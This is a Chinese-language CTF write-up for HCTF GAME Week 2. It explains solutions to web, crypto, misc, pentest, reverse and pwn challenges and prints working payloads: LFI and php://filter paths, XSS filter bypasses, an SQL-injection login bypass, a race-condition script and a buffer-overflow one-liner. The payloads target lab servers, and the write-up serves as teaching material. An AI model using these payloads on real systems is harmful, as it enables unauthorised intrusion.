HCTF GAME Week 2 解题报告

27 Jan 2017

春节快到了，这一场一共持续三天十小时，而我有两天时间都在外面走亲戚。

突然变难了……Web有一题不会做，Re和Pwn因为没时间所以懒得做了，Crypto和Misc照旧AK……

还是按照我做的大类次序来吧。

Web

挂了一题伤心啊伤心啊伤心啊——不然全部都是前三个做出来的（逃

从0开始LFI之0

送分题 flag在../flag.php http://119.29.138.57:12000/

解题报告

大约的确是送分题，题目告诉了是LFI，也说了flag的地址……

打开url有两张图，html代码如下

```
<img width=500 height=400 src='1.jpg'>
<img width=500 height=400 src='show.php?file=1.jpg'>
```

直接访问 `http://119.29.138.57:12000/show.php?file=../flag.php` 拿到flag为 `hctf{Inc1ude_i5_s0_d4ngerous}` 。

从0开始LFI之1

flag在哪呢? http://119.29.138.57:12001/

解题报告

再次开url，拿到html代码是一行

```
<img src='show.php?file=1.jpg'>
```

老套路，访问 `http://119.29.138.57:12000/show.php?file=../flag.php` 拿到假flag（大雾），注释里有一行 `hhh,maybe it is in Comments.Have a try!` ，所以估计是要看php源码。

（厦门那边学到的）php支持文件包含伪协议 `php://` ，可以用 `filter` 来encode原文件查看源码，我们试试 `http://119.29.138.57:12001/show.php?file=php://filter/convert.base64-encode/resource=../flag.php` ，拿到一串base64， `aGN0ZntmbGFnX2k1X24wdF9oZXJlfQo8IS0tIGhoaCxtYXliZSBpdCBpcyBpbiBDb21tZW50cy5IYXZlIGEgdHJ5ISAtLT4KPD9waHAKLy8gZjFhZ19pc19oZWVlZWVlZXJlL2ZsYWcuaHR` 解码可得源码

```
hctf{flag_i5_n0t_here}
<!-- hhh,maybe it is in Comments.Have a try! -->
<?php
// f1ag_is_heeeeeeere/flag.html
?>
```

然后接着访问注释里的地方，flag又在注释里 `hctf{Do_y0u_kn0w_php_fi1ter?}`

从0开始之XSS challenge0

http://123.206.199.184/xss/0x00/

不准需要交互的payload，必须对最新版的Chrome和Firefox有效，成功执行alert(1)。

```
function charge(input) {
    var stripTagsRE = /script/gi;
    input = input.replace(stripTagsRE, '');
    return '<article>' + input + '</article>';
}
```

解题报告

过滤一次的话一个夹另一个中间就好了，payload： `<scrscriptipt>alert(1)</scrscriptipt>`

和管理员交易得flag `hctf{xss_f1rst_st3p}`

从0开始之XSS challenge1

http://123.206.199.184/xss/0x01/

题目要求同上。

```
function charge(input) {
        input = input.replace(/script/gi, '_');
        input = input.replace(/img/gi, '_');
        input = input.replace(/\>/gi,'_');
        input = input.replace(/\(/gi, '_');
        return '<input value="' + input + '" type="text">';
}
```

解题报告

过滤了 `script` 、 `img` 、 `>` 、 `(` ，这尼玛，不让闭合标签，不让调用函数，所以我们只能在input标签里搞事儿。

查了一下 `input` 标签的属性，发现 `type` 有个可能值是 `image` ，支持 `onerror` ，于是就可以搞事儿了。

payload为 `" type="image" src="a" onerror="alert&#40;1)` ，继续和管理员交易得flag `hctf{d0_U_th1nk_xss_1s_1nterest1ng}` 。

这题我的小伙伴用了 `autofocus` 和 `onfocus` 也可以通关。

从0开始之XSS challenge2

http://123.206.199.184/xss/0x02/

条件同上

```
function charge(input) {
    input = input.replace(/\"/gi, '_');
    input = input.replace(/\//gi, '_');
    return '<svg><script>var input=\"' + input + '\";</script></svg>';
}
```

解题报告

据说这题翻车了，出简单了。放在 `svg` 中的 `script` 里的代码也被html转义了，于是这就很欢乐了，我们直接用 `&quot;` 闭合引号，就可以搞事儿……特好玩儿。

payload为 `&quot;;alert(1);&quot;` ，管理员交易得flag `hctf{g00000d_svg_1s_not_hard}` 。

Misc

explorer的奇怪番外2

http://121.42.25.113/io2/io2.html

这次我们来学习一个密码学中的概念Proof-of-Work(工作量证明)

总的来说，就是需要使用需要一定cpu资源才能完成的算法运算，来证明一个连接的“诚意”用的一种方法

话不多说

nc 121.42.25.113 20001

netcat以后题目要求给出一串长度为100，sha256前三字节随机给出。

解题报告

因为只有三个，所以很容易碰撞上，一般枚举四个字符左右就可以碰上一个。

```
from hashlib import sha256

bt = b'a' * 96
for i in range(33, 128):
    bi = chr(i).encode()
    for j in range(33, 128):
        bj = chr(j).encode()
        for k in range(33, 128):
            bk = chr(k).encode()
            for l in range(33, 128):
                bl = chr(l).encode()
                hs = sha256(bi + bj + bk + bl + bt).hexdigest()
                if hs[0:6] == 'hhhhhh': print(bi + bj + bk + bl + bt)
```

这里的 `hhhhhh` 根据netcat到的值改变，拿到flag为 `hctf{Pr0Of_yOu_work!!}` 。

我是一个有格调的misc题目

链接：百度网盘 密码：cGV3Zg==

解题报告

是一道流量分析题，然而， `strings misc3.pcapng | grep "hctf"` ，怪我喽？flag为 `hctf{wh4t_d0_y0u_w4nt??}` 。

因此我至今还是不会做真正的流量分析题……

Crypto

密码学教室进阶（五）

```
n = 0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e = 0xe438fddb77f9bc2cf97185041e8a5ce8d0853cbfb657b940505870f0d3dfc0b723c5f7c8c9b940769f358397e275d00cce1cf760f9892a4b83ff90cbe513c6cc450258d02bcee33e499fb028c2b0d811bba22ef0c4fea314018d4943451ecdeb5d6e98bd5ed71ab7862a747f851c532aeae6c29f52c3f9be649a4142810ddb83015386fd035fcdc28059236135a9cce24fd650062067dcf43f5dcf24e15f132e9dca4ff68cc7637139dbdba276157f11e8af118d8dfae3f811a0377ba37555f9
c = 0xbe864c22e69bd872541b7538b3c9797cf76afa2b2cac70c5a1a47fb6b6046daf345946d6e0eb299d12a7485ad9edaced28ef0b3169a22d1cba69c1e556ed2a69b6eca7e030f8cf61616faff4e063caf1a0668d4357594e7ff8887f00f61df5161e94f2197abcc2d34db666a34fa9e0f108c7937dc09b8e091ba2a4180f88f1b58229891bd619025f2c13f5758d7f4f6ac8f4d3f565449a730fef9ecee37f5409b801b554a30cfb42f69afc734b7709c5df6618e94e96b5d24a4b63cd1907296ae9bbd36084bad58c5e5cb3d275c953efc73aff595f36d92e182d6705fee14dabd29df53735132249d5935f8e780210359d67ab80ac2dfa29a88a5f585cbda8bb
```

解题报告

没什么好说的，暴力跑p、q，这题素数一个特别小，瞬间跑出来。然后算出t，用扩欧算出d，就可以解密了。扩欧的代码

```
def exgcd(a, b):
    if b == 0: return a, 1, 0
    gcd, x, y = exgcd(b, a % b)
    x, y = y, x - a // b * y
    return gcd, x, y
```

曾几何时我还记得扩欧的非递归版本……现在已经老了……最后求出来后用如下代码得到flag `hgame{1f_u_kn0w_p_q_1n_RSA_1t_is_easy___}` ：

```
p = 57970027  # 不管用什么方法，还是挺好跑的
print(pow(c, exgcd(e, (p - 1) * (n // p - 1))[1], n).to_bytes(41, 'big').decode())
```

密码学教室进阶（六）

Hill密码：https://en.wikipedia.org/wiki/Hill_cipher

c:jchfecncvxogmtgqtqlqamqutqsgnniw

key:5 17 4 15

完成解密以后加上hgame{}作为flag

解题报告

随便去网上搜一个解密网站，解密可得 `haohaoxuexiandainihuiqiuniyuanma` ，所以加上 `hgame{}` 就是flag。

我用的解密网站是http://www.dcode.fr/hill-cipher。

进击的 Crypto [0]

http://119.29.138.57/crypto/easy_rsa.txt.34b3396feff9f911a61e932a22c4470

给了一大坨一大坨的公钥、密文。

解题报告

全部n的最大公约数都相等……所以直接可以获取p和q。然后老套路计算出d，解密密文。flag是 `hctf{I7_1s_d4nger0us_2_Sh4re_prim3}` ……

Pentest

我是最简单的渗透题

http://115.28.78.16:13333/pentest/0x01/

就一个登陆框。

解题报告

我随便试了一下SQL注入然后就过了…… `'OR/**/1=1#` 。但是不明白为什么用 `'OR/**/'1'='1'#` 就不行，刚入学那个暑假我遇到了类似情况，后者可以，前者不行，懵逼。

ez game

aklis正在线上debug的时候，LoRexxar拔了他的网线，于是...

解题报告

我一开始看到断网线想到的是备份文件，然后试过了vim的.*.php.swp甚至还有.*.swo（这玩意儿是存在一个swp的时候再打开原文件产生的swap file），还有各种.bak，又试过.git和.svn源码泄露，全部403或404。

然后是结合 `gogogo=苟!` 想到上次的hctf……然后写了个条件竞争的代码。多线程还不熟练……

后来，比赛快结束的时候出题人告诉我就是vim的备份文件，之前403是因为之前出了bug，后来修了……

然后我现在又去找来了.login.php.swp和.register.php.swp，已经知道是条件竞争了所以就不放出来了。vim的备份文件用vim自己就可以恢复，打开用 `vim -r register.php` 和 `vim -r login.php` 。

然后写了个多线程的注册登录拿flag……

```
import requests
import threading
import random
import string

root = 'http://115.28.78.16:13333/3a94a786f2f3af094a461b295bc4e2f6/'

def sign_up(post):
    response = requests.post(root + 'register.php', data=post)

def sign_in(post):
    session = requests.Session()
    response = session.post(root + 'login.php', data=post)
    response = session.get(root + 'index.php')
    html = response.text
    if html.find('hctf') != -1: print(html)
    else: print(response.status_code)
```

```
while True:
    post = {
        # generate random username and password
        'username': ''.join(random.sample(string.ascii_letters + string.digits, 32)),
        'password': ''.join(random.sample(string.ascii_letters + string.digits, 32)),
        'gogogo': '苟!',
    }
    signin = threading.Thread(sign_up, args=( post, ))
    signup = threading.Thread(sign_in, args=( post, ))
    signin.start(); signup.start()
```

然后拿到flag为 `hctf{mmp_you_yi_xie_wenti}` 。

最后一天的时候服务器被日坏了，整天502胶水……

Reverse

这次因为没时间，所以二进制只做了几题而已。Reverse一开始有人问我破窗的算法，我花了一晚上搞出了算法，结果脚本还没写好第二天就去走亲戚了，一直到最后一天在某个亲戚家蹭网的时候顺便把这题给A了，分数上了2k。然后那个（昨天）晚上顺便写了一道小Pwn和另一个黄金矿工。

re从零开始的逆向之旅：Gold Miner

出题人有点怀旧 http://ojwp3ihl4.bkt.clouddn.com/hhh.swf

就一黄金矿工的flash文件，在线反编译一下，可以直接拿到flag为 `hctf{Give_ME_Gold_Please}` 。

表示以前玩舰C曾经有个反编译swf的软件JPEXS Free Flash Decompiler，不过现在已经给删了……

re从零开始的苦逼之路：broken window

http://ojwp3ihl4.bkt.clouddn.com/broken_window.exe

一个打不开（雾）的exe。

解题报告

没写过win32吃了亏，不过这次的逆向做得并不是很痛苦，除了少看了一个函数导致一开始没做出来……

这玩意儿首先带壳儿，用 `upx -d` 脱个壳儿，然后直接扔IDA里反汇编反编译分析。

一共就三个没有名字的函数（大误：匿名函数），`sub_401020` 、 `sub_401080` 和 `sub_401060` ，其中20和60都调用了80，80里一群乱七八糟的ROL和XOR，应该是加密函数，还好循环左移和异或运算都是可逆的，于是我们可以试着逆向算法。在20里则是三个连续的加密，对于一个 `dword_403428` 数组，显然是输入的字符串，可以看出这个函数是校验函数。然后对于60这个函数中，对于一个 `aHQn` 数组进行了一次加密，查看 `aHQn` 应该是硬编码在代码中的一串数据。

其中加密函数的代码如下：

```
int __usercall sub_401080@<eax>(int a1@<edi>)
{
  int v1; // ebx@1
  signed int v2; // esi@1
  int v3; // eax@1
  char v4; // cl@3
  char v5; // cl@5
  char v6; // cl@5
  char v7; // dl@5
  char v8; // cl@7
  char v9; // cl@7
  char v10; // dl@7
  char v11; // cl@9
  char v12; // cl@9
  char v13; // dl@9
  char v14; // cl@11

  v1 = 1 - a1;
  v2 = 0;
  v3 = a1;
```

```
  while ( 1 )
  {
    v4 = __ROL1__(*(_BYTE *)v3, 3);
    *(_BYTE *)v3 = v4;
    if ( v2 >= 1 )
      *(_BYTE *)v3 = v4 ^ *(_BYTE *)(v2 + a1 - 1);
    v5 = __ROL1__(*(_BYTE *)v3, 4);
    v6 = v5 + 3;
    v7 = __ROL1__(*(_BYTE *)(v3 + 1), 3);
    *(_BYTE *)v3 = v6;
    *(_BYTE *)(v3 + 1) = v7;
    if ( v3 + v1 >= 1 )
      *(_BYTE *)(v3 + 1) = v7 ^ v6;
    v8 = __ROL1__(*(_BYTE *)(v3 + 1), 4);
    v9 = v8 + 3;
    v10 = __ROL1__(*(_BYTE *)(v3 + 2), 3);
    *(_BYTE *)(v3 + 1) = v9;
    *(_BYTE *)(v3 + 2) = v10;
    if ( v3 + 2 - a1 >= 1 )
      *(_BYTE *)(v3 + 2) = v10 ^ v9;
    v11 = __ROL1__(*(_BYTE *)(v3 + 2), 4);
    v12 = v11 + 3;
    v13 = __ROL1__(*(_BYTE *)(v3 + 3), 3);
    *(_BYTE *)(v3 + 2) = v12;
    *(_BYTE *)(v3 + 3) = v13;
    if ( v3 + 3 - a1 >= 1 )
      *(_BYTE *)(v3 + 3) = v13 ^ v12;
    v14 = __ROL1__(*(_BYTE *)(v3 + 3), 4);
    *(_BYTE *)(v3 + 3) = v14 + 3;
    v2 += 4;
    v3 += 4;
    if ( v2 >= 32 )
      break;
    v1 = 1 - a1;
  }
  return a1 + 1;
}
```

v3显然是一个 `unsigned char *` ，换掉清晰很多，又由于 `v3 == a1 + v2` ，我们可以直接用 `a1` 和 `v2` 来表示 `v3` 。还有一堆一堆的临时变量……我们一个一个把它的式子带入消去掉，然后改变量名 `a1` 为 `m` ， `v2` 为 `i` ，可以得到如下代码（不要在意能不能通过编译，我是来看逻辑的）

```
int __usercall sub_401080@<eax>(char m[]@<edi>)
{

  for (i = 0; i < 32; i += 4) {

    m[i] = rol(m[i], 3);
    if (i) m[i] ^= m[i - 1];
    m[i] = rol(m[i], 4) + 3;

    m[i + 1] = rol(m[i + 1], 3) ^ m[i];
    m[i + 1] = rol(m[i + 1], 4) + 3;

    m[i + 2] = rol(m[i + 2], 3) ^ m[i + 1];
    m[i + 2] = rol(m[i + 2], 4) + 3;

    m[i + 3] = rol(m[i + 3], 3) ^ m[i + 2];
    m[i + 3] = rol(m[i + 3], 4) + 3;

  }
  return m + 1;
}
```

于是逻辑出来了。另外看起来这是四个一组进行加密，实际上是每个单独加密的，于是我们再做最后的简化：

```
void encrypt(unsigned char *m) {
  // m[0] = rol(rol(m[0], 3), 4) + 3;
  m[0] = ror(m[0], 1) + 3;
  for (int i = 1; i < 32; ++i) {
    m[i] = rol(m[i], 3) ^ m[i - 1];
    m[i] = rol(m[i], 4) + 3;
  }
}
```

就是这么酷炫。

然后就凭此写出解密函数：

```
void decrypt(unsigned char *c) {
  for (int i = 31; i; --i) {
    c[i] = ror(c[i] - 3, 4);
    c[i] = ror(c[i] ^ c[i - 1], 3);
  }
  c[0] = rol(c[0] - 3, 1);
}
```

最后，去二进制文件中找到加了密的那段数据 `aHQn` ，爬出来数据后写进代码里，总之最后C如下。

```
#include <stdio.h>

typedef unsigned char byte;

byte rol(byte bt, byte mv) {
  return bt >> mv | bt << 8 >> mv;
}

byte ror(byte bt, byte mv) {
  return bt << mv | bt << mv >> 8;
}

void encrypt(byte *m);
void decrypt(byte *c);

byte c[40] = {
  0x68, 0x23, 0x51, 0x8d, 0xc8, 0xc9, 0x1f, 0x93,
  0xf3, 0xfa, 0xff, 0x9e, 0x37, 0x77, 0x1b, 0x83,
  0x81, 0x69, 0x6d, 0x46, 0x64, 0xcf, 0x4b, 0xad,
  0x6a, 0xa8, 0xaa, 0xea, 0x41, 0x45, 0x7b, 0xab,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

int main() {
  encrypt(c); decrypt(c + 2); decrypt(c + 1); decrypt(c);
  for (int i = 0; i < 32; ++i) putchar(c[i]);
  return 0;
}
```

得到flag为 `hctf{do_you_have_broken_window?}` 。

Pwn

Pwn的确很有趣，不过基本没做，就写了一题。

pwn step1

nc 121.42.25.113 10001 不比step0难多少的题目。

解题报告

同样是gets的漏洞。有一个没有被调用过的 `getFlag` 函数是从服务器上读flag，所以只要把一开始调用函数的时候push到栈里的eip覆盖掉就可以了。从IDA里面获知getFlag的偏移是0x0804855B，s的长度为28。

```
echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x5b\x85\x04\x08" | nc 121.42.25.113 10001
```

获得flag为 `hctf{It_ls_1nteRestlng!}`

最后

除夕快乐，滚去看拜年祭了。